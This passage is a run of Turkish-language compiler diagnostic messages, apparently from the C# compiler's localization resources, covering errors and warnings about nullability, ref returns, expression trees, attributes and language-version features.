kaldırmayı düşünün. + Denetim çağırana döndürülmeden önce otomatik uygulanan özellik tam olarak atanmalıdır. Özelliği otomatik olarak varsayılan durumuna getirmek için dil sürümünü güncelleştirmeyi düşünün. + '{0}': bir tür hem statik hem mühürlü olamaz + Kısmi '{0}' bildirimlerinin tümü sınıf, tümü kayıt sınıfı, tümü yapı, tümü kayıt yapısı veya tümü arabirim olmalıdır + GetEnumerator uzantısı + “{0}” tür adı yalnızca küçük harfli ascii karakterleri içerir. Bu tür adlar dil için ayrılmış hale gelebilir. + '{0}' CLS uyumlu alanı geçici olamaz + Bu '{0}' sürümü koleksiyon ifadeleri ile kullanılamaz. + Beklenen bağlamsal anahtar sözcük: 'equals' + 'id#' sözdizimi artık desteklenmiyor. Bunun yerine '$id' kullanın. + Sağlanan satır ve karakter numarası , '{0}' belirtecinin başlangıcına başvurmuyor. '{1}'. satır '{2}'. karakteri mi kullanmak istediniz? + Programın giriş noktası genel koddur, giriş noktası yoksayılıyor + '{1}' içinde '{0}' parametre türündeki başvuru türlerinin boş değer atanabilirliği, örtük olarak uygulanan '{2}' üyesi ile eşleşmiyor. + Alan hiç kullanılmadı + '{0}' nesnesi birden çok kez atılabilir. + İfade ağacı, demetin == veya != işlecini içeremez. + '{0}', '{1}' arabirim üyesini uygulamıyor. '{2}', başvuruyla eşleşen dönüşü olmadığından '{1}' uygulayamaz. + '{0}', işlev işaretçisi parametresinde değiştirici olarak kullanılamaz. + Sabit boyutlu arabelleklere yalnızca yerel öğeler veya alanlar üzerinden erişilebilir + '{1}' öğesindeki XML yorumu '{0}' için typeparamref etiketine sahip, ancak bu adlı bir tür parametresi yok + '{0}' arabiriminde bildirilen eşitlik veya eşitsizlik işlecinin parametrelerinden biri '{0}' üzerinde '{0}' ile kısıtlanmış bir tür parametresi olmalıdır + ham dize sabit değerleri + hedef türü belirtilmiş koşullu ifade + zaman uyumsuz yöntem oluşturucusunu geçersiz kılma + Cref öznitelikleri içinde, genel türlerin iç içe geçmiş türleri belirtilmelidir + Bir ifade ağacı adlandırılmış bir bağımsız değişken belirtimi içeremez + /target için geçersiz hedef türü: 'exe', 'winexe', 'library' veya 'module' belirtilmelidir + Statik salt okunur bir alana (statik oluşturucu veya değişken başlatıcı dışında) atama yapılamaz + Örnek başvurusuyla '{0}' üyesine erişilemez; bunun yerine bir tür adıyla niteleyin + Using veya lock deyimine bağımsız değişken olan yerel değeri için büyük olasılıkla hatalı atama yapılmış + Gerekli '{0}' üyesine, kapsayan tür veya tüm oluşturucular artık kullanılmadığı sürece 'ObsoleteAttribute' özniteliği atanmamalıdır. + Statik bir anonim işlev, '{0}' başvurusu içeremez. + Denetim finally yan tümcesinin gövdesinden çıkamaz + '{0}' parametresi kapsayan türün durumuna yakalandı ve değeri temel oluşturucuya da geçirildi. Değer, temel sınıf tarafından da yakalanamıyor olabilir. + Sözdizimi düğümü sözdizimi ağacı içinde değil + Başvuru ile dönüşler yalnızca başvuru ile döndürülen metotlarda kullanılabilir + Olası null başvuru dönüşü. + '{3}' türü '{0}' genel türü veya metodu için '{2}' tür parametresi olarak kullanılamıyor. '{3}' tür bağımsız değişkeninin boş değer atanabilirliği, '{1}' kısıtlama türüyle eşleşmiyor. + Belirtilen ifade, sağlanan desenle her zaman eşleşir. + '{0}' türü sabit olarak bildirilemez + İşlev işaretçisi değerlerini karşılaştırma + Zaman uyumsuz metotlarda ref, in veya out parametreleri olamaz + Denetim, son durum etiketi geçişi dışında kalamaz ('{0}') + '{0}' için using yönergesi bu ad alanında daha önce göründü + '{0}' özelliği, dizin erişimcisi veya olayı dil tarafından desteklenmiyor; '{1}' erişimci yöntemini doğrudan çağırmayı deneyin + '{0}' özelliği, dizin erişimcisi veya olayı dil tarafından desteklenmiyor; '{1}' veya '{2}' erişimci yöntemlerini doğrudan çağırmayı deneyin + '{0}': arabirime veya arabirimden kullanıcı tanımlı dönüştürmelere izin verilmiyor + refonly kullanılırken refout kullanmayın. + Anonim metot, lambda ifadesi, sorgu ifadesi veya yerel işlev içinde '{0}' ref, out veya in parametresi kullanılamaz + İfadenin sonucu her zaman 'null' + '{0}' modülü gösterilemedi: {1} + throw ifadesi + '{0}' yöntemi, '{2}' türü için '{1}' arabirim erişenini uygulayamıyor. Açık bir arabirim uygulaması kullanın. + yerel işlev öznitelikleri + '{0}' diğer adı {1} tanımıyla çakışıyor + '{0}' bir '{1}' tanımı içermiyor + Tam sayı sabit çok büyük + Dosya bulunamadı. + Bu bağlamda bildirime izin verilmez. + Giriş noktası döndüren bir void veya int zaman uyumsuz olamaz + XML açıklamasının bir typeparamref etiketi var, ancak bu adla hiçbir tür parametresi yok + Yerel ad PDB için çok uzun + Guid özniteliği ComImport özniteliğiyle birlikte belirtilmelidir + '{0}' parametre türündeki başvuru türlerinin boş değer atanabilirliği, geçersiz kılınan üye ile eşleşmiyor. + Catch yan tümcesi olan bir try bloğunun gövdesinde bir değer döndürülemez + Açık arabirim uygulaması birden fazla arabirim üyesiyle eşleşiyor + Modül veya kitaplık oluşturuluyorsa /main belirtilemez + Zaman uyumsuz bir foreach içinde dinamik tür koleksiyonu oluşturulamaz + Dönüş türündeki başvuru türlerinin boş değer atanabilirliği, örtük olarak uygulanan üye ile eşleşmiyor. + Tür, yalnızca değerlendirme amaçlıdır ve gelecekteki güncelleştirmelerde değiştirilebilir veya kaldırılabilir. Devam etmek için bu tanılamayı gizleyin. + statik anonim işlev + Bağımsız {0} 'ref' veya 'in' anahtar sözcüğüyle geçirilmelidir + Kaynak türü '{1}' olan bir sorgu ifadesinden sonraki from yan tümcesinde '{0}' türünde bir ifadeye izin verilmez. '{2}' çağrısında anlam çıkarma başarısız oldu. + null yayılma işleci + '{0}' ve '{1}' derlemeleri aynı meta veriye başvurur ancak yalnızca biri bağlantılı bir başvurudur (/link seçeneği kullanılarak belirtilir); başvurulardan birini kaldırmayı deneyin. + birlikte değişken dönüşler + kovaryant + Beklenmeyen bağımsız değişken listesi. + 'Clone' adlı üyelere kayıtlarda izin verilmez. + Sabit boyutlu bir arabellek alanı yalnızca bir struct'ın üyesi olabilir + İfade ağacı, demet dönüşümü içeremez. + Satır, ham dize sabit değerinin kapanış satırındaki aynı boşlukla başlamıyor. + arabirimlerdeki statik soyut üyeler + '{0}' yapılandırma dosyası okunamıyor -- '{1}' + Örtük Dizin Oluşturucu'nun çağrılması bağımsız değişkeni adlandıramaz. + Zaman uyumsuz lambda ifadeleri ifade ağaçlarına dönüştürülemez + '{1}' tür parametresinde 'struct' kısıtlaması olduğundan '{1}' '{0}' için kısıtlama olarak kullanılamaz + 'nameof' içinde örnek üyesi + Önceden tanımlanmış '{0}' türü tanımlanmamış veya içeri aktarılmamış + İşlem, çalışma zamanında “{0}” öğesini taşabilir (geçersiz kılmak için “denetlenmemiş” söz dizimini kullanın) + [NotNull] veya [DisallowNull] ile işaretlenmiş bir tür için, null olabilecek bir değer kullanılamayabilir + 'init' erişimcisi statik üyelerde geçerli değil + Tür bağımsız değişkeni null olamaz + Bir extern diğer ad bildirimi, ad uzayında tanımlanan diğer tüm öğelerden önce gelmelidir + /platform için geçersiz '{0}' seçeneği; anycpu, x86, Itanium, arm, arm64 veya x64 olmalıdır + '{0}' özniteliğine geçirilen bağımsız değişken geçerli bir tanımlayıcı olmalıdır + ref for-loop değişkenleri + '{0}' parametresi için geçerli olan CallerMemberNameAttribute öğesinin hiçbir etkisi olmaz. CallerFilePathAttribute tarafından geçersiz kılındı. + Satır içi dizi türünün öğelerine yalnızca örtük olarak 'int', 'System.Index' veya 'System.Range' olarak dönüştürülebilir tek bir bağımsız değişkenle erişilebilir. + Tutarsız erişilebilirlik: '{1}' dönüş türü '{0}' temsilcisinden daha az erişilebilir + '{0}' güvenlik özniteliği bir Async yöntemine uygulanamaz. + Assembly ve module öznitelikleri, using yan tümceleri ve extern diğer ad bildirimleri dışında dosyada tanımlanan diğer tüm öğelerden önce gelmelidir + Tür meta verilerde temsili olmadığından bu bağlamda kullanılamaz. + Dolaylı derleme başvurusundan dolayı, gömülü birlikte çalışma derlemesine bir başvuru oluşturuldu + Struct üyesi, 'tis' veya diğer örnek üyelerini referans olarak döndürür + Yönetilmeyen tür '{0}' yalnızca alanlar için geçerlidir. + Çıkış dizini belirlenemedi + Çok satırlı ham dize sabit değerleri en az bir satır içerik içermelidir. + Bir 'is' veya 'as' işlecinin ikinci işleneni '{0}' statik türü olmayabilir + Fazla yüklenmiş '{0}' tek işlem işleci bir parametre alır + '{0}' güvenli olmayan türü nesne oluşturmada kullanılamaz + InterceptsLocationAttribute için sağlanan satır ve karakter numaraları pozitif olmalıdır. + Switch yönetim ifadesinin parantez içine alınması gerekir. + Atanmamış '{0}' out parametresinin kullanımı + kontravaryant + '{0}' parametresi okunmamış. + Conditional özniteliği arabirim üyeleri üzerinde geçerli değildir + Bir paket açma dönüşümünün sonucu değiştirilemez + ref ve out bu bağlamda geçerli değildir + '{0}' bitiş etiketi '{1}' başlangıç etiketi ile eşleşmiyor. + Fixed deyimi atamasının sağ tarafı bir dönüştürme ifadesi olamaz + başvuru genişletme yöntemleri + '{0}' salt okunur alanın üyeleri (oluşturucu veya değişken başlatıcı dışında) değiştirilemez + '{1}' tarafından kullanılan '{0}' derleme başvurusunun '{3}' öğesinin '{2}' kimliğiyle eşleştiği varsayıldığında, çalışma zamanı ilkesi sağlamanız gerekebilir + == veya != işlecinin işleneni olarak kullanılan demet türlerinin kardinalitesi eşleşmelidir. Ancak bu işleç, solda {0} ve sağda {1} demet kardinalite türlerine sahip olmalıdır. + SecurityAction değeri '{0}' bir derlemeye uygulanan güvenlik öznitelikleri için geçersiz + '{0}', 'object' öğesinden beklenen metodu geçersiz kılmıyor. + '{0}' aralık değişkeni '{0}' öğesinin önceki bildirimi ile çakışıyor + GetAsyncEnumerator uzantısı + '{0}' genel türü veya yönteminde '{1}' parametresi olarak kullanılabilmesi için '{2}' türünün, herhangi bir iç içe geçme düzeyindeki tüm alanlarla birlikte null yapılamayan bir değer türü olması gerekir + '{0}' türü veya ad alanı adı bulunamadı (bir using yönergeniz veya derleme başvurunuz mu eksik?) + Beklenen bağlamsal anahtar sözcük: 'on' + Beklenen bağlamsal anahtar sözcük: 'by' + '{3}' türü, '{0}' genel türü veya yöntemi için '{2}' tür parametresi olarak kullanılamaz. '{3}' türünden '{1}' türüne paketleme dönüşümü yoktur. + Genişletme yöntemi statik olmalıdır + XML açıklaması cref özniteliğinde geçersiz dönüş türü + '{0}' artık kullanılmıyor: '{1}' + {0} derlemesi hiçbir çözümleyici içermiyor. + Bir async-iterator metodunun gövdesi 'yield' deyimi içermelidir. + kovaryant olarak + '{1}' derlemesi tarafından '{0}' gömülü birlikte çalışma derlemesine dolaylı bir başvuru oluşturulduğundan, bu birlikte çalışma derlemesine yönelik bir başvuru oluşturuldu. İki derlemeden birinde 'Embed Interop Types' özelliğini değiştirebilirsiniz. + Kaynak dosyası PDB'de görüntülenebilecek 16.707.565 satır sınırını aştı; hata ayıklama bilgileri hatalı olacak + koleksiyon + System.Runtime.CompilerServices.DynamicAttribute' kullanmayın. Bunun yerine 'dynamic' anahtar sözcüğünü kullanın. + 'Derlemenin CLSCompliant özniteliği olmadığından '{0}' CLS uyumlu olarak işaretlenemiyor + '{1}', '{0}'ye yeniden atanamaz çünkü '{1}' yalnızca bir return ifadesi aracılığıyla geçerli yöntemden kaçabilir. + Sağlanan dil sürümü desteklenmiyor veya geçersiz: '{0}'. + İfade veya bildirim deyimi bekleniyor. + '{0}' parametresinin 'scoped' değiştiricisi, kısmi yöntem bildirimiyle eşleşmiyor. + '{0}' özelliğine veya dizin oluşturucusuna, salt okunur olduğu için atama yapılamaz + Metot, metot temsilcisi veya işlev işaretçisinin dönüş türü '{0}' olamaz + Tanımlayıcı veya basit bir üye erişimi bekleniyor. + Bu, referans olarak yerel '{0}' döndürür, ancak bir ref yerel değildir + Çözümleyici referansı birden çok kez belirtildi + Kısmi metot bildirimlerinin tür parametresi kısıtlamalarında tutarsız boş değer atanabilirlik durumu var + Tutarsız erişilebilirlik: '{1}' alan türü, '{0}' alanından daha az erişilebilir + /pdb seçeneği /debug seçeneğinin de kullanılmasını gerektirir + 'is' ifadesinin verilen ifadesi her zaman sağlanan türe aittir + Bir ad alanı bildiriminde genel using yönergesi kullanılamaz. + #pragma + '{0}' türünün bir çağırma kuralı olarak kullanılabilmesi için genel olması gerekir. + Gerekli '{0}' üyesi ayarlanabilir olmalıdır. + Her bağlı kaynağın ve modülün benzersiz tanımlayıcısı olması gerekir. Dosya adı '{0}' bu derlemede birden çok kez belirtildi + Tüm başvuruları kapsam dışı olmadan önce ayrılmış örnekte System.IDisposable.Dispose() öğesini çağırın + 'readonly' değiştiricileri, '{0}' özelliğinin veya dizin oluşturucusunun her iki erişimcisinde de belirtilemez. Bunun yerine özelliğin kendisine bir 'readonly' değiştiricisi koyun. + özellik erişimcisinde geçersiz + '{0}' düz metin arasına kod eklenmiş dize işleyicisi metodu tutarsız dönüş türüne sahip. '{1}' döndürmesi bekleniyor. + İfade ağacı lambdası, bağımsız değişkenlerinde ref kullanılmayan bir COM çağrısı içeremez + params parametresi {0} olarak tanımlanamaz + Bir foreach deyiminde hem tür hem tanımlayıcı gereklidir + {0} bağımsız değişkeni: '{1}' öğesinden '{2}' öğesine dönüştürülemiyor + Adlandırılmış bağımsız değişken belirtimleri, sabit bağımsız değişkenlerin tümü belirtildikten sonra görüntülenmelidir. Sonda olmayan adlandırılmış bağımsız değişkenlere izin vermek için {0} veya daha yüksek bir dil sürümü kullanın. + Dize şu tırnak işaretiyle başlamalıdır: " + '{1}' yönteminin '{0}' tür parametreleri için kısıtlamalar '{3}' arabirim yönteminin '{2}' tür parametresi için kısıtlamalarla eşleşmelidir. Yerine açık arabirim uygulaması kullanmayı düşünün. + '{0}' aralık değişkeni başvuru ile döndürülemez + Türdeki başvuru türlerinin boş değer atanabilirliği, uygulanan '{0}' üyesi ile eşleşmiyor. + Güvenli olmayan kod yineleyicilerde görünmeyebilir + Engelleyici 'UnmanagedCallersOnlyAttribute' ile işaretlenemez. + Boş değer atanabilir tür üzerinde typeof işleci kullanılamaz + __arglist oluşturucusu yalnızca değişken sayıda bağımsız değişkenli bir yöntem içinde geçerlidir + '{0}' ve '{1}' örtülü olarak birbirine dönüştüğünden koşullu ifadenin türü belirlenemiyor + [NotNull] veya [DisallowNull] ile işaretlenmiş bir tür için, null olabilecek bir değer kullanılamayabilir + düz metin arasına kod eklenmiş dize işleyicileri + 'new' demet türü ile kullanılamaz. Bunun yerine demet sabit ifadesi kullanın. + Beklenmeyen belirteç '{0}' + Alternatif başvuru değeriyle eşleşmesi için deyimin '{0}' türünde olması gerekir + Bu bağlamda, üst düzey bir ifadede bildirilen '{0}' yerel değişkeni veya yerel işlevi kullanılamaz. + '{0}': korumalı '{1}' türünden türetilemiyor + 'in' parametresine karşılık gelen bağımsız {0} 'ref' değiştiricisi 'in' ile eşdeğerdir. Bunun yerine 'in' kullanmayı düşünün. + iç içe geçmiş ifadelerde stackalloc + Hata ayıklama giriş noktası, geçerli derlemede bildirilmiş bir metodun tanımı olmalıdır. + Kısmi yapının birden çok bildirimindeki alanlar arasında tanımlanmış sıralama yok + '{1}' tarafından kullanılan '{0}' derleme başvurusunun '{3}' öğesinin '{2}' kimliğiyle eşleştiği varsayıldığında, çalışma zamanı ilkesi sağlamanız gerekebilir + Dönüş türündeki başvuru türlerinin boş değer atanabilirliği, uygulanan üye ile eşleşmiyor. + Metot grubu işlev işaretçisine dönüştürülemiyor ('&' eksik mi?) + XML yorumu '{0}' için bir typeparam etiketine sahip, ancak bu adlı bir tür parametresi yok + '{0}' veya '{1}' öznitelik parametresi belirtilmelidir. + '{0}' öznitelik parametresi belirtilmelidir. + ifade gövdeli yöntem + Bir örnek üye içinde ref benzeri türe sahip '{0}' birincil oluşturucu parametresi kullanılamaz + İsteğe bağlı bağımsız değişkenlere izin vermeyen bağlamlarda kullanılan bir üye için geçerli olduğundan CallerFilePathAttribute'un bir etkisi yoktur + /refout veya /refonly kullanılırken net modülleri derlenemez. + '{3}' türü, '{0}' genel türü veya yöntemi için '{2}' tür parametresi olarak kullanılamaz. '{3}' null yapılabilir türü '{1}' kısıtlamasını karşılamıyor. Null olabilen türler hiçbir arabirim kısıtlamasını karşılamaz. + Ekli açıklamalar dosyasında kötü biçimlendirilmiş XML + '{1}' ad alanı '{0}' diğer adıyla çakışan bir tanım içeriyor + Bütünleştirilmiş kod adı geçersiz: {0} + İfade ağacı bir atma eylemi içeremez. + değil deseni + Argument should be passed with the 'in' keyword + dynamic' ile uyumluluğu test etmek için 'is' kullanmak, 'Object' ile uyumluluğu test etmeye büyük ölçüde benzer + '{0}' kısmi metodunun erişilebilirlik değiştiricileri olduğundan bir uygulama bölümü olmalıdır. + using namespace' yönergesi yalnızca ad alanlarına uygulanabilir; '{0}', bir ad alanı değil, türdür. Bunun yerine 'using static' yönergesi uygulayabilirsiniz + Salt okunur '{0}' alanının üyeleri (oluşturucu dışında) ref veya out değeri olarak kullanılamaz + Komut satırı sözdizimi hatası: '{1}' seçeneği için geçersiz Guid biçimi '{0}' + '_' adını bir is-type ifadesindeki türe başvurmak için kullanmayın. + 'default' varsayılan sabit değeri bir desen olarak geçerli değil. Uygun olan başka bir sabit değeri (ör. '0' veya 'null') kullanın. Tüm öğeleri eşleştirmek için '_' atma desenini kullanın. + Cref öznitelikleri içinde, genel türlerin iç içe yerleştirilmiş türleri uygun bulunmalıdır. + CallerLineNumberAttribute yalnızca varsayılan değeri olan parametrelere uygulanabilir + '{1}' türünün değeri asla '{2}' türünün 'null' değerine eşit olmadığından ifadenin sonucu her zaman '{0}' + Bir yineleyiciden değer döndürülemez. Değer döndürmek için yield return deyimini veya yinelemeyi sonlandırmak için yield break deyimini kullanın. + Oluşturucu kaynak oluşturamadı. + Beklenen: 'disable' veya 'restore' + '{0}' seçeneği mutlak yol olmalıdır. + /subsystemversion için geçersiz {0} sürümü. Sürüm ARM veya AppContainerExe için 6.02 veya üstü, diğerleri için ise 4.00 veya üstü olmalıdır + Geçersiz başlatıcı üye bildirimcisi + enum genel tür kısıtlamaları + Pathmap seçeneği doğru şekilde biçimlendirilmedi. + Sabit boyutlu arabellek türü şunlardan biri olmalıdır: bool, byte, short, int, long, char, sbyte, ushort, uint, ulong, float veya double + '{0}', '{1}' parametresi tarafından başvurulan değişkenleri kendi bildirim kapsamı dışında kullanıma sunabileceğinden buna yönelik bağımsız değişken bileşimine izin verilmiyor + '{0}' sabit değeri bir '{1}' değerine dönüştürülemez. + {0} bağımsız değişkeni '{1}' anahtar sözcüğüyle geçirilemez + Alma erişimcisine erişilemediğinden '{0}' özelliği veya dizin erişimcisi bu bağlamda kullanılamaz + yerel işlevler + Başvuru döndüren özellikler gerekli kılınamaz. + demetler + extern diğer adı + Geçersiz XML ekleme öğesi -- {0} + '{0}' dil sürümü veya daha yenisi kullanılmadığı sürece, null atanabilir tür parametresi bir değer türü veya null atanamaz başvuru türü olarak bilinmelidir. Dil sürümünü değiştirmeyi veya bir 'class', 'struct' ya da tür kısıtlaması eklemeyi düşünün. + Hizalama değeri, büyük bir biçimlendirilmiş dize ile sonuçlanabilecek bir boyuta sahip + İfade ağacı satır içi dizi erişimi veya dönüştürmesi içeremez + Yakalanan veya oluşturulan tür System.Exception'dan türetilmiş olmalıdır + Hiçbir kaynak dosya belirtilmedi + Ortak imzalama belirtildiğinde '{0}' özniteliği yoksayılır. + {0} uzunluğu ve '{1}' türünün sabit boyutlu arabelleği çok büyük + '{0}' dil tarafından desteklenmediğinden '{1}' öğesini uygulayamıyor + '{0}' özelliği C# 8.0'da kullanılamaz. Lütfen {1} veya daha yüksek bir dil sürümü kullanın. + '{0}' özelliği C# 9.0'da kullanılamıyor. Lütfen {1} veya daha yüksek dil sürümünü kullanın. + '{0}' özelliği C# 2'de kullanılamıyor. Lütfen {1} veya daha yüksek dil sürümünü kullanın. + '{0}' özelliği C# 3'te kullanılamıyor. Lütfen {1} veya daha yüksek dil sürümünü kullanın. + '{0}' özelliği C# 1'de kullanılamıyor. Lütfen {1} veya daha yüksek dil sürümünü kullanın. + '{0}' özelliği C# 6'da kullanılamıyor. Lütfen {1} veya daha yüksek dil sürümünü kullanın. + '{0}' özelliği C# 7.0'da kullanılamıyor. Lütfen {1} veya üzeri bir dil sürümü kullanın. + '{0}' özelliği C# 4'te kullanılamıyor. Lütfen {1} veya daha yüksek dil sürümünü kullanın. + '{0}' özelliği C# 5'te kullanılamıyor. Lütfen {1} veya daha yüksek dil sürümünü kullanın. + '{0}' yöntemi, '{1}' tür parametresi için bir 'struct' kısıtlaması belirtiyor, ancak geçersiz kılınan veya açıkça uygulanan '{3}' yönteminin karşılık gelen '{2}' tür parametresi boş değer atanamaz bir tip değil. + /LIB seçeneği + Dönüş türü geçersiz olmadığından Conditional özniteliği '{0}' üzerinde geçerli değil + '{0}' 'this' parametresine sahip olmadığından, engelleyici 'this' parametresine sahip olamaz. + tür deseni + '{0}' türündeki bir using deyimi kaynağı, asenkron yöntemlerde veya asenkron lambda ifadelerinde kullanılamaz. + DllImport özniteliği, genel olan ya da genel metot veya türde barındırılan bir metoda uygulanamaz. + Parametresiz yapı oluşturucusu 'public' olmalıdır. + Atanmayan '{0}' yerel değişkeninin kullanımı + Başvuru döndürmeyen bir özellik veya dizin oluşturucu, out veya ref değeri olarak kullanılamaz + Üye, çalışma zamanında birden çok geçersiz kılma adayı ile temel üyeyi geçersiz kılar + '{0}' öğesi bir '{1}' olduğundan başvuru ile döndürülemez + Bir ReflectionTypeLoadException nedeniyle başarısız olan çözümleyici derlemesinde türleri yüklemeyi atlayın + Satır içi dizi öğesi alanı gerekli, salt okunur, geçici veya sabit boyutlu arabellek olarak bildirilemez. + [DoesNotReturn] olarak işaretlenen bir metot, değer döndürmemelidir. + Yalnızca bir derleme biriminde üst düzey deyimler olabilir. + Zaman uyumsuz yöntemlerde veya zaman uyumsuz lambda ifadelerinde '{0}' türündeki parametreler veya yerel öğeler bildirilemez. + '{0}' kısmi yönteminin bildirimini uygulamak için tanımlayıcı bildirim bulunamadı + varsayılan arabirim uygulaması + '{0}' türüne başvuru bu derlemede tanımlandığını belirtiyor, ancak kaynak veya herhangi bir eklenen modülde tanımlanmadı + Friend derleme adı için null geçilemez + İsteğe bağlı bağımsız değişkenlere izin vermeyen bağlamlarda kullanılan bir üye için geçerli olduğundan belirtilen varsayılan değerin etkisi olmayacak + Parametre null olmadığından dönüş değeri de null olmamalıdır. + Boş switch bloğu + '{0}': bir soyut tür mühürlü veya statik olamaz + Finalize' yönteminin sunulması yok edici çağrılmasını engelleyebilir + 'this' nesnesi, tüm alanları atanmadan önce kullanılamaz. Atanmamış alanları otomatik olarak varsayılan durumuna getirmek için '{0}' dil sürümüne güncelleştirmeyi düşünün. + '@' karakterleri dizesine izin verilmiyor. Düz metin dizesi veya tanımlayıcı dizede yalnızca bir '@' karakteri olabilir, ham dizede ise hiç olamaz. + Kaynak dosya yalnızca, bir dosya kapsamlı ad alanı bildirimi içerebilir. + Belirtilen ifade, sağlanan desenle her zaman eşleşir. + Bir fixed veya using deyimi bildiriminde bir başlatıcı sağlamalısınız + ++ veya -- işleci için dönüş türü parametre türüyle eşleşmeli ya da parametre türünden türemelidir + Geçersiz varyans: '{1}' tür parametresi '{0}' öğesinde geçerli olan {3} olmalıdır. '{1}' öğesi {2} şeklindedir. + Bir betiğin veya gönderimin en üst düzeyinde gerekli üyelere izin verilmez. + '{0}': dinamik türe veya dinamik türden kullanıcı tanımlı dönüştürmelere izin verilmiyor + AppConfigPath mutlak olmalıdır. + Otomatik özelliklerdeki alan hedefli öznitelikler, {0} dil sürümünde desteklenmez. Lütfen {1} veya daha yüksek bir dil sürümü kullanın. + '{0}': soyut olay, olay erişeni söz dizimini kullanamaz + [EnumeratorCancellation] özniteliği birden çok parametre üzerinde kullanılamaz + Bu bağlamda '{0}' sonucunun üyesinin kullanılması, '{1}' parametresi tarafından başvurulan değişkenleri bildirim kapsamının dışında gösterebilir. + '{0}' parametresi için geçerli olan CallerFilePathAttribute öğesinin hiçbir etkisi olmaz. CallerLineNumberAttribute tarafından geçersiz kılındı. + Hatalı olabilecek boş deyim + lambda öznitelikleri + Öznitelikleri olan bir lambda ifadesi bir ifade ağacına dönüştürülemez + '{3}' türü, '{0}' genel türü veya yöntemi için '{2}' tür parametresi olarak kullanılamaz. '{3}' türünden '{1}' türüne bir paketleme dönüşümü veya tür parametresi dönüşümü yoktur. + Eklenen yorumlar dosyasında kötü biçimli XML -- '{0}' + İlişkisel desenler, kayan noktalı NaN için kullanılamaz. + Otomatik uygulanan özellikler geçersiz kılınan özelliğin tüm erişicilerini geçersiz kılmalıdır. + 'enum' anahtar sözcüğü kısıtlama olarak kullanılamaz. 'struct, System.Enum' mu demek istediniz? + Alt ifade bir nameof bağımsız değişkeninde kullanılamaz. + Başvuru koşullu işlecinin dalları, uyumsuz bildirim kapsamları olan değişkenlere başvuramaz + Sabit boyutlu arabellek alanında alan uzayından sonra dizi boyutu belirticisi gelmelidir + işlev işaretçisi + #warning yönergesi + '{0}' yöntemi için hiçbir tekrar yükleme {1} bağımsız değişken almaz + '{0}' türündeki bir ifadeye [] ile indis erişimi uygulanamaz + #line yönerge değeri eksik veya aralık dışı + Attribute parameter 'SizeConst' must be specified. + '{0}' geçerli bir kısıtlama değil. Kısıtlama olarak kullanılan bir türün arabirim, korumalı olmayan bir sınıf veya tür parametresi olması gerekir. + Cref özniteliğinde belirsiz başvuru: '{0}'. '{1}' varsayılıyor, ancak '{2}' dahil diğer aşırı yüklerle de eşleşebilirdi. + '{0}' sınıfının birden çok temel sınıfı olamaz: '{1}' ve '{2}' + '{0}' Object.Equals(object o) öğesini geçersiz kılar ancak Object.GetHashCode() öğesini geçersiz kılmaz + Engelleyici 'null' dosya yoluna sahip olamaz. + Gereksiz using yönergesi. + Beklenen imzaya sahip erişilebilir '{0}' yöntem bulunamadı: 'ReadOnlySpan<{1}>' türünde tek parametreli statik bir yöntem ve '{2}'. + '{0}' adı geçerli bağlamda yok + Durdurulacak veya devam ettirilecek kapsayan bir döngü yok + '{0}' açık arabirim uygulaması birden çok arabirim üyesiyle eşleşiyor. Gerçekte hangi arabirim üyesinin seçildiği, uygulamaya bağlıdır. Bunun yerine açık olmayan bir uygulama kullanmayı deneyin. + '{0}' parametre türündeki başvuru türlerinin null atanabilirliği uygulanan '{1}' üyesiyle eşleşmiyor (muhtemelen null atanabilirlik öznitelikleri nedeniyle). + '{0}' tanımlanmamış varlığına başvuru. + XML yorumu kötü biçimli XML'e sahip -- '{0}' + Başvuru ile döndürülen özellikler get erişimcisine sahip olmalıdır + 'ObsoleteAttribute' özniteliğine sahip üyeler, kapsayan tür veya tüm oluşturucular artık kullanılmadığı sürece gerekli olmamalıdır. + Tutarsız erişilebilirlik: '{1}' temel arabirimi, '{0}' arabiriminden daha az erişilebilir + Bir ifade ağacı anonim bir yöntem ifadesi içeremez + lambda ifadesi + Parametre, çevreleyen türün durumunda yakalanır ve değeri de temel oluşturucuya iletilir. Değer, temel sınıf tarafından da yakalanabilir. + Tür veya ad uzayı tanımı ya da dosya sonu bekleniyor + Sonlandırılmamış dize sabit değeri + Geçersiz kısıtlama türü. Kısıtlama olarak kullanılan bir türün bir arabirim, korumalı olmayan bir sınıf veya bir tür parametresi olması gerekir. + Bir 'is' veya 'as' işlecinin ikinci işleneni bir statik tür olamaz + Türün varsayılan değeri null olduğundan, ifade her zaman System.NullReferenceException özel durumuna neden olacaktır + UnscopedRefAttribute bir arabirim uygulamasına uygulanamaz. + is' ve 'as', işaretçi türlerinde geçerli değildir + Tür parametresi dış türden tür parametresi ile aynı ada sahip + Ham dize sabit değeri için yeterli tırnak işareti yok. + '{0}': CLS uyumlu arabirimlerin yalnızca CLS uyumlu üyeleri olmalıdır + Anonim yöntem ifadesi ifade ağacına dönüştürülemez + Kaynak dosya birden çok kez belirtildi + Bir yorumda yanlış sözdizimi kullanıldı. + Bir lambda ifadesinde koleksiyon başlatıcısı için uzantı Add yöntemi desteklenmiyor. + '{0}' özniteliği yalnızca açık arabirim üyesi bildirimi olmayan bir dizin oluşturucusunda geçerlidir + '{0}' bir öznitelik sınıfı değildir + Tür, genel tür veya metot için tür parametresi olarak kullanılamıyor. Tür bağımsız değişkeninin boş değer atanabilirliği, 'notnull' kısıtlamasıyla eşleşmiyor. + Sabit ifadede anonim tür kullanılamaz + İfadeler ve deyimler yalnızca bir yöntem gövdesinde oluşabilir + '{0}' türü 'using static' için geçerli değil. Yalnızca bir sınıf, yapı, arabirim, sabit liste, temsilci veya ad alanı kullanılabilir. + '{0}' türü CLS uyumlu değil + '{0}' işleci, '{1}' ve '{2}' işlenenleri üzerinde belirsiz + '{0}' bağımsız değişken türü CLS uyumlu değil + Params parametresi tek boyutlu bir dizi olmalıdır + Programın giriş noktası genel koddur; '{0}' giriş noktası yoksayılıyor. + Soyut bir temel üye çağrılamaz: '{0}' + Bir değer türü olabileceğinden null, '{0}' tür parametresine dönüştürülemez. Yerine 'default({0})' kullanmayı düşünün. + Özellik standart hale getirilmiş ISO C# dil belirtiminin parçası değil ve diğer derleyiciler tarafından kabul edilmeyebilir + Metot gruplarındaki '&', ifade ağaçlarında kullanılamaz + Sabit deyimde bildirilen yerel öğenin türü, bir işlev işaretçisi türü olamaz. + {0} parametre türü ve {1} parametre başvurusu tipi sağlandı. Bu diziler aynı uzunlukta olmalıdır. + Bir ref yerel öğesi olmadığından, yerel '{0}' öğesinin üyesi başvuru ile döndürülemez + Null atanamaz alan, oluşturucudan çıkış yaparken null olmayan bir değer içermelidir. Alanı null atanabilir olarak 